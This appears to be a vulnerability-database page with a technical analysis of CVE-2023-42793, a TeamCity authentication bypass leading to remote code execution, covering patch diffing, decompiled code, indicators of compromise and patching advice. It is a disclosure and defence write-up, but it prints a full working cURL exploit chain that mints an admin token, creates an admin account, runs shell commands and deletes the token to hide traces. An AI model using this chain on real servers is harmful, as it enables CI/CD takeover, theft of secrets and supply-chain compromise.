Attacker Value
Very High
(2 users assessed)
Exploitability
Very High
(2 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
7

CVE-2023-42793

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Collection
Techniques
Validation
Validated
Impact
Techniques
Validation
Validated

Description

In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible

Add Assessment

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Based on the accompanying Rapid7 Analysis, the attacker value for CVE-2023-42793 is very high given the target product is a CI/CD server, and as such may contain sanative information such as source code or signing keys, in addition to being a vector for conducting a supply chain attack. The exploitability for this vulnerability is also very high, as the product is vulnerable in a default configuration and an attacker can trivially exploit it with a sequence of cURL commands.

1
Ratings
Technical Analysis

Microsoft released a blog where they mentioned the abuse of this vulnerability by nation-state sponsored actors.

Update 07/26/2024: CISA released a bulletin on Andariel’s activity also mentioning the abuse of this CVE, link: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a

General Information

Vendors

  • JetBrains

Products

  • TeamCity
Technical Analysis

Overview

CVE-2023-42793 is a critical authentication bypass published on September 19, 2023 that affects on-premises instances of JetBrains TeamCity, a CI/CD server. The vulnerability, originally discovered by Sonar, allows an unauthenticated attacker to achieve remote code execution (RCE) on the server. By compromising a CD/CD server the attacker will have access to private data such as source code, access keys, code signing certificates and other build components commonly accessible by a CI/CD server. This places the attacker in a strong position to achieve a supply chain attack by compromising the integrity of the server’s build process and the resulting build artifacts, such as compiled binaries.

The vulnerability has a CVSS base score of 9.8. All versions of JetBrains TeamCity prior to the patched version 2023.05.4 are vulnerable to this issue. There is no known exploitation in the wild as of September 27, 2023.

Technical Analysis

In this technical analysis we will analyze the vulnerability as it affects JetBrains TeamCity 2023.05.3 running on Windows Server 2022. By default, the vulnerable web interface listens for HTTP connections on TCP port 8111.

Patch Diffing

To diff out the bug we downloaded a vulnerable version 2023.05.3 and patched version 2023.05.4. Extracting these two installers via 7zip we generate two folders, .\2023.05.3\ and .\2023.05.4\, containing the entire contents of the install for each version.

Inspecting the contents of the two folders using a diffing tool like BeyondCompare, we can identify the Java library web.jar as being of interest. Using the cfr decompiler we can decompile the web.jar library from each version into two separate folders as follows:

java -Xmx1g -jar cfr-0.152.jar --outputdir .\2023.05.3\web.jar\ .\2023.05.3\webapps\ROOT\WEB-INF\lib\web.jar

java -Xmx1g -jar cfr-0.152.jar --outputdir .\2023.05.4\web.jar\  .\2023.05.4\webapps\ROOT\WEB-INF\lib\web.jar

We can now diff the Java source. The file RequestInterceptiors.java stands out as a suspicious wildcard path has been removed. Examining the XmlRpcController.getPathSuffix method shows the wildcard path that is added to the myPreHandlingDisabled PathSet is /**/RPC2. Investigating this further reveals this path is the root cause of the authentication bypass vulnerability.

diff1

Authentication Bypass

To learn why the wildcard path /**/RPC2 leads to an authentication bypass vulnerability. We must understand what this path does. The TeamCity server is a large Java Spring application; the configuration file C:\TeamCity\webapps\ROOT\WEB-INF\buildServerSpringWeb.xml creates several interceptors, which intercept and potentially modify incoming HTTP requests to the server. Of interest to us is the calledOnceInterceptors Java bean.

  <mvc:interceptors>
    <ref bean="externalLoadBalancerInterceptor"/>
    <ref bean="agentsLoadBalancer"/>
    <ref bean="calledOnceInterceptors"/>
    <ref bean="pageExtensionInterceptor"/>
  </mvc:interceptors>

  <bean id="calledOnceInterceptors" class="jetbrains.buildServer.controllers.interceptors.RequestInterceptors">
    <constructor-arg index="0">
      <list>
        <ref bean="mainServerInterceptor"/>
        <ref bean="registrationInvitations"/>
        <ref bean="projectIdConverterInterceptor"/>
        <ref bean="authorizedUserInterceptor"/>
        <ref bean="twoFactorAuthenticationInterceptor"/>
        <ref bean="firstLoginInterceptor"/>
        <ref bean="pluginUIContextProvider"/>
        <ref bean="callableInterceptorRegistrar"/>
      </list>
    </constructor-arg>
  </bean>

We can see the calledOnceInterceptors bean will be an instance of the jetbrains.buildServer.controllers.interceptors.RequestInterceptors class which contains the wildcard path we are interested in. We can also see that when constructing the RequestInterceptors instance, several Java beans are passed as a list, including authorizedUserInterceptor. These beans will be added to the myInterceptors list during instantiation.

  public RequestInterceptors(@NotNull List<HandlerInterceptor> paramList) {
    this.myInterceptors.addAll(paramList);
    this.myPreHandlingDisabled.addPath("/**" + XmlRpcController.getPathSuffix());
    this.myPreHandlingDisabled.addPath("/app/agents/**");
  }

The RequestInterceptors instance will then intercept HTTP requests via its preHandle method, as shown below.

  public final boolean preHandle(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse, Object paramObject) throws Exception {
    try {
      if (!requestPreHandlingAllowed(paramHttpServletRequest)) // <---
        return true; // <--- return early, no authentication checks!
    } catch (Exception exception) {
      throw null;
    } 
    Stack stack = requestIn(paramHttpServletRequest);
    try {
      if (stack.size() >= 70 && paramHttpServletRequest.getAttribute("__tc_requestStack_overflow") == null) {
        LOG.warn("Possible infinite recursion of page includes. Request: " + WebUtil.getRequestDump(paramHttpServletRequest));
        paramHttpServletRequest.setAttribute("__tc_requestStack_overflow", this);
        Throwable throwable = (new ServletException("Too much recurrent forward or include operations")).fillInStackTrace();
        paramHttpServletRequest.setAttribute("javax.servlet.jsp.jspException", throwable);
      } 
    } catch (Exception exception) {
      throw null;
    } 
    if (stack.size() == 1)
      for (HandlerInterceptor handlerInterceptor : this.myInterceptors) {
        try {
          if (!handlerInterceptor.preHandle(paramHttpServletRequest, paramHttpServletResponse, paramObject)) // <--- enforce authentication checks :(
            return false; 
        } catch (Exception exception) {
          throw null;
        } 
      }  
    return true;
  }

Of note is that if requestPreHandlingAllowed returns false (note the negation in the if statements condition), the preHandle method will return early. However, if requestPreHandlingAllowed returns true, the myInterceptors list will be iterated and each interceptor on the list will be run against the request. This includes the authorizedUserInterceptor bean (an instance of jetbrains.buildServer.controllers.interceptors.AuthorizationInterceptorImpl) which will enforce authentication on the request if needed.

Therefore, if we can send a request to a URL that causes requestPreHandlingAllowed to return false, we can skip the authentication checks. Examining requestPreHandlingAllowed, we see the PathSet myPreHandlingDisabled, which we know to contain the wildcard path /**/RPC2, is used to test the incoming HTTP request’s path.

  private boolean requestPreHandlingAllowed(@NotNull HttpServletRequest paramHttpServletRequest) {
    try {
      if (paramHttpServletRequest == null)
        $$$reportNull$$$0(5); 
    } catch (IllegalArgumentException illegalArgumentException) {
      throw null;
    } 
    try {
      if (WebUtil.isJspPrecompilationRequest(paramHttpServletRequest))
        return false; 
    } catch (IllegalArgumentException illegalArgumentException) {
      throw null;
    } 
    try {
    
    } catch (IllegalArgumentException illegalArgumentException) {
      throw null;
    } 
    return !this.myPreHandlingDisabled.matches(WebUtil.getPathWithoutContext(paramHttpServletRequest));
  }

Therefore, any incoming HTTP request that matches the wildcard path /**/RPC2 will not be subject to the authentication checks performed by the beans in the myInterceptors list during RequestInterceptors.preHandle. However, even though we can construct a path that avoids authentication checks, we still need to locate a target endpoint the attacker can leverage which also conforms to the wildcard path — specifically, the target endpoint must end with the string /RPC2.

Exploitation

To leverage the authentication bypass vulnerability, we will target TeamCity’s REST API, as implemented in the library C:\TeamCity\webapps\ROOT\WEB-INF\plugins\.unpacked\rest-api\server\rest-api.jar. Decompiling this library with cfr we can begin to explore the code. The REST API will use Java’s Web Services @Path annotation to connect methods with URI endpoints whilst also defining variable names as templates within the path. For example @Path(value="/{foo}/properties") will match a URI that ends with a path segment /properties, and the preceding path segment’s value will be available to the method being annotated (via an additional @PathParam(value=’foo’) annotation). Since this technique of constructing URI endpoints allows for endpoints with arbitrary values in the path, we want to locate the endpoints that end in a templated variable, as this will allow us to supply the /RPC2 portion of the URI that is required by the vulnerability. Searching the decompiled code for the regular expression /@Path\(value=\"\S+}\"\)/ will find all instances that meet this requirement. After some investigation we identify the jetbrains.buildServer.server.rest.request.UserRequest class as being of interest, as shown below.

.\2023.05.3\rest-api\jetbrains\buildServer\server\rest\request\UserRequest.java (17 hits)
	Line 169:     @Path(value="/{userLocator}")
	Line 177:     @Path(value="/{userLocator}")
	Line 189:     @Path(value="/{userLocator}")
	Line 200:     @Path(value="/{userLocator}/{field}")
	Line 208:     @Path(value="/{userLocator}/{field}")
	Line 218:     @Path(value="/{userLocator}/{field}")
	Line 235:     @Path(value="/{userLocator}/properties/{name}")
	Line 243:     @Path(value="/{userLocator}/properties/{name}")
	Line 257:     @Path(value="/{userLocator}/properties/{name}")
	Line 304:     @Path(value="/{userLocator}/roles/{roleId}/{scope}")
	Line 313:     @Path(value="/{userLocator}/roles/{roleId}/{scope}")
	Line 323:     @Path(value="/{userLocator}/roles/{roleId}/{scope}")
	Line 329:     @Path(value="/{userLocator}/roles/{roleId}/{scope}")
	Line 371:     @Path(value="/{userLocator}/groups/{groupLocator}")
	Line 387:     @Path(value="/{userLocator}/groups/{groupLocator}")
	Line 465:     @Path(value="/{userLocator}/tokens/{name}")
	Line 494:     @Path(value="/{userLocator}/tokens/{name}")

The method createToken appears to allow the caller to create an access token for a specified user by sending a HTTP POST request to the endpoint /app/rest/users/{userLocator}/tokens/{name}. As this endpoint ends in a templated variable, we know we can supply the required /RPC2 value for the authentication bypass. This will provide a token name of RPC2 during the call to createToken. To specify a suitable userLocator, we want to provide the name of an administrator user on the system. TeamCity lets you choose an arbitrary username during installation, so we don’t necessarily know the actual username of an administrator account. Handily, however, the first user (with an ID of 1) will always be the Administrator created during system install. As a result, we can rely on the ability to specify a user via an ID value using the string id:1.

@Path("/app/rest/users")
@Api("User")
public class UserRequest {

  @POST
  @Path("/{userLocator}/tokens/{name}")
  @Produces({"application/xml", "application/json"})
  @ApiOperation(value = "Create a new authentication token for the matching user.", nickname = "addUserToken", hidden = true)
  public Token createToken(@ApiParam(format = "UserLocator") @PathParam("userLocator") String userLocator, @PathParam("name") @NotNull String name, @QueryParam("fields") String fields) {
    if (name == null)
      $$$reportNull$$$0(1); 
    TokenAuthenticationModel tokenAuthenticationModel = (TokenAuthenticationModel)this.myBeanContext.getSingletonService(TokenAuthenticationModel.class);
    SUser user = this.myUserFinder.getItem(userLocator, true);
    try {
      AuthenticationToken token = tokenAuthenticationModel.createToken(user.getId(), name, new Date(PermanentTokenConstants.NO_EXPIRE.getTime()));
      return new Token(token, token.getValue(), new Fields(fields), this.myBeanContext);
    } catch (jetbrains.buildServer.serverSide.auth.AuthenticationTokenStorage.CreationException e) {
      throw new BadRequestException(e.getMessage());
    } 
  }

}

We can now create an authentication token for an Administrator user, via the following cURL request, which leverages the RPC2 authentication bypass vulnerability to successfully reach the target endpoint.

curl -X POST http://192.168.86.50:8111/app/rest/users/id:1/tokens/RPC2

The following is returned to the attacker, containing a newly minted authentication token with Administrator privileges.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="RPC2" creationTime="2023-09-27T02:15:35.609-07:00" value="eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2"/>

Now we have an Administrator authentication token, we can take over the server. We have full access to the TeamCity REST API and can perform a multitude of operations, such as creating a new Administrator account with a known password. This allows us to log into the web interface if needed.

curl --path-as-is -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" -X POST http://192.168.86.50:8111/app/rest/users -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"

As we can see below, we have created a new Admin user account with a password we know.

hax1

Alternatively, to execute arbitrary shell commands on the target server we can further leverage the API, specifically an undocumented debug API endpoint /app/rest/debug/processes, as shown below.

@Path(value="/app/rest/debug")
@Api(value="Debug", hidden=true)
public class DebugRequest {

    @POST
    @Path(value="/processes")
    @Consumes(value={"text/plain"})
    @Produces(value={"text/plain"})
    public String runProcess(@QueryParam(value="exePath") String exePath, @QueryParam(value="params") List<String> params, final @QueryParam(value="idleTimeSeconds") Integer idleTimeSeconds, final @QueryParam(value="maxOutputBytes") Integer maxOutputBytes, @QueryParam(value="charset") String charset, String input) {
        if (!TeamCityProperties.getBoolean((String)"rest.debug.processes.enable")) { // <---
            throw new BadRequestException("This server is not configured to allow process debug launch via " + LogUtil.quote((String)"rest.debug.processes.enable") + " internal property");
        }
        this.myDataProvider.checkGlobalPermission(Permission.MANAGE_SERVER_INSTALLATION);
        GeneralCommandLine cmd = new GeneralCommandLine();
        cmd.setExePath(exePath);
        cmd.addParameters(params);
        Loggers.ACTIVITIES.info("External process is launched by user " + this.myPermissionChecker.getCurrentUserDescription() + ". Command line: " + cmd.getCommandLineString());
        Stopwatch action = Stopwatch.createStarted();
        ExecResult execResult = SimpleCommandLineProcessRunner.runCommand((GeneralCommandLine)cmd, (byte[])input.getBytes(Charset.forName(charset != null ? charset : "UTF-8")), (SimpleCommandLineProcessRunner.RunCommandEvents)new SimpleCommandLineProcessRunner.RunCommandEventsAdapter(){

            public Integer getOutputIdleSecondsTimeout() {
                return idleTimeSeconds;
            }

            public Integer getMaxAcceptedOutputSize() {
                return maxOutputBytes != null && maxOutputBytes > 0 ? maxOutputBytes : 0x100000;
            }
        });
        action.stop();
        StringBuffer result = new StringBuffer();
        result.append("StdOut:").append(execResult.getStdout()).append("\n");
        result.append("StdErr: ").append(execResult.getStderr()).append("\n");
        result.append("Exit code: ").append(execResult.getExitCode()).append("\n");
        result.append("Time: ").append(TimePrinter.createMillisecondsFormatter().formatTime(action.elapsed(TimeUnit.MILLISECONDS)));
        return result.toString();
    }

}

The ability to call this endpoint is gated by the configuration option rest.debug.processes.enable, which is disabled by default. Therefore, we must first enable this option via the following request.

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" -X POST http://192.168.86.50:8111/admin/dataDir.html?action=edit^&fileName=config%2Finternal.properties^&content=rest.debug.processes.enable=true

Finally, for this option to be used by the system we must refresh the server via the following request.

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" http://192.168.86.50:8111/admin/admin.html?item=diagnostics^&tab=dataDir^&file=config/internal.properties

We can now run an arbitrary shell command on the server with the following request to the /app/rest/debug/processes endpoint. For example:

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" -X POST http://192.168.86.50:8111/app/rest/debug/processes?exePath=cmd.exe^&params=/c%20whoami

The server’s response for the above request shows the standard output of the process we created.

StdOut:nt authority\system

StdErr:
Exit code: 0
Time: 59ms

From the output above, we can see we created the process cmd.exe "/c whoami" and the result that was printed to stdout was nt authority\system. It is worth noting that when installing TeamCity, you can select to run the server as either the local system user, or a user account of your choosing that you must create. During testing we ran the TeamCity server as the local system user.

Finally, an attacker can delete the authentication token they created via the following request.

curl -X DELETE http://192.168.86.50:8111/app/rest/users/id:1/tokens/RPC2

Indicators of Compromise

On a Windows system, the log file C:\TeamCity\logs\teamcity-server.log will contain a log message when an attacker modified the internal.properties file. There will also be a log message for every process created via the /app/rest/debug/processes endpoint. In addition to showing the command line used, the user ID of the user account whose authentication token was used during the attack is also shown. For example:

[2023-09-26 11:53:46,970]   INFO - ntrollers.FileBrowseController - File edited: C:\ProgramData\JetBrains\TeamCity\config\internal.properties by user with id=1
[2023-09-26 11:53:46,970]   INFO - s.buildServer.ACTIVITIES.AUDIT - server_file_change: File C:\ProgramData\JetBrains\TeamCity\config\internal.properties was modified by "user with id=1"
[2023-09-26 11:53:58,227]   INFO - tbrains.buildServer.ACTIVITIES - External process is launched by user user with id=1. Command line: cmd.exe "/c whoami"

An attacker may attempt to cover their tracks by wiping this log file. It does not appear that TeamCity logs individual HTTP requests, but if TeamCity is configured to sit behind a HTTP proxy, the HTTP proxy may have suitable logs showing the following target endpoints being accessed:

  • /app/rest/users/id:1/tokens/RPC2 – This endpoint is required to exploit the vulnerability.
  • /app/rest/users – This endpoint is only required if the attacker wishes to create an arbitrary user.
  • /app/rest/debug/processes – This endpoint is only required if the attacker wishes to create an arbitrary process.

Guidance

The vulnerability has been resolved in version 2023.05.4 of JetBrains TeamCity. It is strongly recommended that all users update to the latest version of the software immediately. If you cannot upgrade to the fixed version or implement a targeted mitigation as specified in the JetBrains advisory, you should consider taking the server offline until the vulnerability can be mitigated.

References